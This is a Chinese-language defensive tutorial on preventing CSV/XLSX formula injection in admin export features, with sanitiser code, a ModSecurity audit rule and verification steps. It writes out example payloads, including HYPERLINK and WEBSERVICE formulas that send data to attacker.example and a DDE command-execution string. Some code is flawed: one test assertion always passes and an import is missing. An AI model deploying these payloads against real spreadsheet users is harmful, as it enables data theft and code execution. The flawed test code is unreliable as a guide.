适用场景
CSV 公式注入防御适用于所有提供数据导出功能的后台系统,典型场景包括:
- 运营后台的订单、会员、日志列表「导出 Excel/CSV」按钮,导出内容包含用户自填的昵称、备注、收货地址、工单描述;
- 表单系统把提交内容汇总成 CSV 后由管理员下载查看;
- 邮件营销、问卷回收、客服工单等第三方系统的数据落地文件;
- 任何允许终端用户提交字符串、且该字符串会被写入 CSV 或 XLSX 单元格的业务。
该风险的核心特征:服务端本身不会执行公式,漏洞在「管理员用 Excel/WPS 打开导出文件」的那一刻被触发,因此常规的 SQL 注入与 XSS 防护拦截不到,属于典型的存储型客户端执行问题。
前置条件
- Web 应用具备文件导出功能,且导出字段中存在用户可控输入;
- 已确认导出格式为 CSV、TSV 或 XLSX(XLSX 若以 XML 写入共享字符串,同样会保留公式语义);
- 服务器侧可修改导出模块代码(Python、PHP、Java、Node.js 均可);
- 若使用 ModSecurity v2/v3,需具备添加自定义 SecRule 的权限;
- 验证阶段需要一台装有 Excel 或 WPS 表格的测试终端,或使用 LibreOffice 命令行做无界面校验。
原理说明
公式触发条件
电子表格软件在解析单元格时,若单元格内容以 =、+、-、@ 开头,会按公式处理。此外还有两类隐蔽触发点:
- 前导制表符(0x09)或回车符(0x0D):部分版本会先剥离控制字符再判定公式,因此
\t=1+1同样生效; - 分号分隔变体:在
;作为列表分隔符的本地化版本中,;后的内容也可能被解析为公式。
危害链路
常见载荷有三类,危害依次递增:
- 数据外带:
=HYPERLINK("https://attacker.example/?d=" A1,"查看详情"),诱导用户点击后把同表格内其他单元格内容带到外部域名; - 无交互外带:
=WEBSERVICE("https://attacker.example/?d=" A1)或=IMPORTXML(...),文件一打开即发起请求,可用于确认「谁导出了这份数据」; - 命令执行:
=cmd|'/c calc'!A0形式的 DDE 载荷,老版本 Excel 在用户确认弹窗后可能执行任意命令,结合 PowerShell 可完全接管终端。
因此防御原则是在数据写出前做前缀净化,而不是在用户打开文件时提醒「请勿启用宏」。
操作步骤
步骤一:实现统一净化函数(Python 参考实现)
所有导出路径必须先经过同一个净化函数,禁止在各业务模块里各写一套。核心做法是转义而非删除,保持数据可读性,同时在公式前插入单引号前缀。
# csv_guard.py
DANGEROUS_PREFIX = ("=", "+", "-", "@", "\t", "\r", "|", "0x09", "0x0D")
def sanitize_csv_cell(value):
"""对单个单元格值做公式注入净化,返回安全字符串。"""
if value is None:
return ""
if not isinstance(value, str):
value = str(value)
# 1. 去掉不可见控制字符(保留可读性,不影响业务语义)
cleaned = "".join(ch for ch in value if ch not in ("\t", "\r", "\x00"))
# 2. 前导空白后再判定一次,防止 " =1+1" 绕过
probe = cleaned.lstrip()
if probe and probe[0] in ("=", "+", "-", "@", "|"):
# 3. 前缀单引号,Excel 会按文本处理并隐藏该引号
cleaned = "'" + cleaned
return cleaned
def sanitize_row(row):
return [sanitize_csv_cell(c) for c in row]
if __name__ == "__main__":
samples = ["=1+1", "+SUM(A1:A9)", "-2+3", "@SUM(1)", "\t=cmd|'/c calc'!A0",
"正常昵称", "1-2 号楼", " =WEBSERVICE(\"http://a.example\")"]
for s in samples:
print(repr(s), "->", repr(sanitize_csv_cell(s)))
注意保留 1-2 号楼 这类业务数据:净化只处理首字符为危险符号且位于开头的情况,中间的减号不受影响。
步骤二:CSV 写出必须遵循 RFC 4180
手工用字符串拼接生成 CSV 是另一类高频错误:字段内包含逗号、双引号或换行时会破坏列对齐,攻击者还能借此把恶意载荷挤进本应为空的单元格。正确做法是交给标准库序列化,并显式禁用 Excel 的公式解释。
import csv, io
from csv_guard import sanitize_row
def build_csv_response(header, rows):
buf = io.StringIO()
# QUOTE_ALL:所有字段加双引号,避免分隔符歧义
writer = csv.writer(buf, quoting=csv.QUOTE_ALL, lineterminator="\r\n")
writer.writerow([sanitize_csv_cell(h) for h in header])
for r in rows:
writer.writerow(sanitize_row(r))
return buf.getvalue()
# 若导出 XLSX,用 openpyxl 时需把单元格显式声明为文本类型
from openpyxl import Workbook
def write_xlsx(path, header, rows):
wb = Workbook()
ws = wb.active
ws.append([sanitize_csv_cell(h) for h in header])
for r in rows:
ws.append(sanitize_row(r))
for row in ws.iter_rows(min_row=2):
for cell in row:
cell.number_format = "@" # 强制文本格式,阻断公式解析
wb.save(path)
步骤三:PHP 存量项目改造
PHP 项目常见 fputcsv 直写,改造点只有一行:在调用前统一净化数组。
<?php
function csv_sanitize_cell($v) {
if ($v === null) return '';
$v = (string)$v;
$v = str_replace(array("\t", "\r", "\0"), '', $v);
$probe = ltrim($v);
if ($probe !== '' && strpos('=+-@|', $probe[0]) !== false) {
$v = "'" . $v;
}
return $v;
}
$fp = fopen('php://output', 'w');
fputs($fp, "\xEF\xBB\xBF"); // BOM,保证中文在 Excel 正常显示
fputcsv($fp, array_map('csv_sanitize_cell', array('订单号', '昵称', '备注')));
foreach ($rows as $row) {
fputcsv($fp, array_map('csv_sanitize_cell', $row));
}
fclose($fp);
步骤四:网关层兜底(Nginx + ModSecurity)
净化函数只能覆盖自家代码,历史接口和第三方 SDK 存在遗漏可能,因此在出口方向追加一条检测规则,命中即告警并记录,便于回溯未纳管的导出接口。
# /etc/nginx/modsec/csv_injection.conf
SecRule RESPONSE_HEADERS:Content-Disposition "@contains attachment" \
"id:9001001,phase:4,t:none,nolog,pass,chain"
SecRule RESPONSE_BODY "@rx (?m)^\"?[=+@]|\t[=+@]" \
"setvar:'tx.csv_injection_score=+5',ctl:auditLogParts=+E"
该规则只做审计不阻断,原因是响应体内出现 = 开头的正常业务数据并不罕见(例如以等号开头的编号)。若确认要阻断,把 pass 改为 deny,status:403 即可,并务必先用生产样本回归,避免误杀导出功能。
配置验证
第一步,单元级验证净化函数是否覆盖全部触发前缀:
python3 -m pytest test_csv_guard.py -v
# test_csv_guard.py
from csv_guard import sanitize_csv_cell
import pytest
@pytest.mark.parametrize("raw", ["=1+1", "+A1", "-A1", "@SUM(1)", "\t=1", "|calc"])
def test_prefix_blocked(raw):
out = sanitize_csv_cell(raw)
assert out.startswith("'") or out.startswith("")
def test_business_value_untouched():
assert sanitize_csv_cell("1-2 号楼") == "1-2 号楼"
assert sanitize_csv_cell("Room-A1") == "Room-A1"
第二步,对真实导出接口做端到端验证。构造一条含载荷的记录后导出,用文本方式检查首字符:
# 取回导出文件(携带登录 Cookie)
curl -s -b cookie.txt "https://www.example.com/admin/export?type=orders" -o out.csv
# 检查是否仍有裸露的危险前缀(应为 0 行)
grep -nE '^"?[=+@]' out.csv | head
# 检查制表符前缀载荷
grep -nP '\t[=+@|]' out.csv | head
第三步,用 LibreOffice 无界面模式确认单元格类型。若净化生效,单元格显示为文本且不弹出公式求值:
soffice --headless --convert-to csv --outdir /tmp/chk out.csv
head -3 /tmp/chk/out.csv
第四步,ModSecurity 审计日志确认兜底规则已生效:
tail -f /var/log/nginx/modsec_audit.log | grep 9001001
常见问题
FAQ 1:加了单引号后,导出的数据里多了一个字符,业务方不接受怎么办?
单引号仅在 Excel/WPS 的显示层被识别为文本标记并自动隐藏,用记事本打开 CSV 能看到该字符,但业务方通常只看表格。若必须让文件本身也不含前缀,可改用两种替代方案:一是导出 XLSX 并把单元格数字格式设为 @(文本),公式不再被解析;二是在值前插入不可见的零宽字符(U+200B),但该做法在部分表格软件中不稳定,推荐优先使用 XLSX 方案。
FAQ 2:为什么只过滤了 =,攻击者还能打进来?
因为触发前缀不止一个。除 = 外还必须覆盖 +、-、@、|,以及前导的制表符和回车符。另外要注意「前导空格绕过」:部分解析器会先 trim 再判定,因此判定前需先 lstrip() 再取首字符,这一点在净化函数示例中已体现。
FAQ 3:导出用的是 xlsx,还需要防吗?
需要。只有在写入时显式把单元格声明为文本类型才安全;若把用户输入直接 ws.append() 且未设置 number_format,以 = 开头的字符串仍会被 Excel 当作公式。使用模板文件填充的导出方式尤其要注意:模板中预留的单元格若为「常规」格式,同样会被解析为公式。
总结
CSV 公式注入防御的落地要点可归纳为四条:
- 净化集中化:所有导出路径共用同一个净化函数,前缀集合包含
= + - @ |与制表符、回车符,判定前先lstrip(); - 序列化标准化:使用标准库写出 CSV 并开启
QUOTE_ALL,禁止字符串手工拼接;导出 XLSX 时强制文本格式; - 出口可观测:Nginx + ModSecurity 在响应阶段做审计,发现未被净化函数覆盖的历史接口;
- 验证工业化:参数化单元测试覆盖全部触发前缀,并在真实导出接口上跑一遍
grep检查,确认无裸露危险前缀。
该方案对现有业务几乎无侵入,改造一个导出接口通常只需接入净化函数与替换写法两步,适合作为《导出功能安全基线》纳入上线检查清单。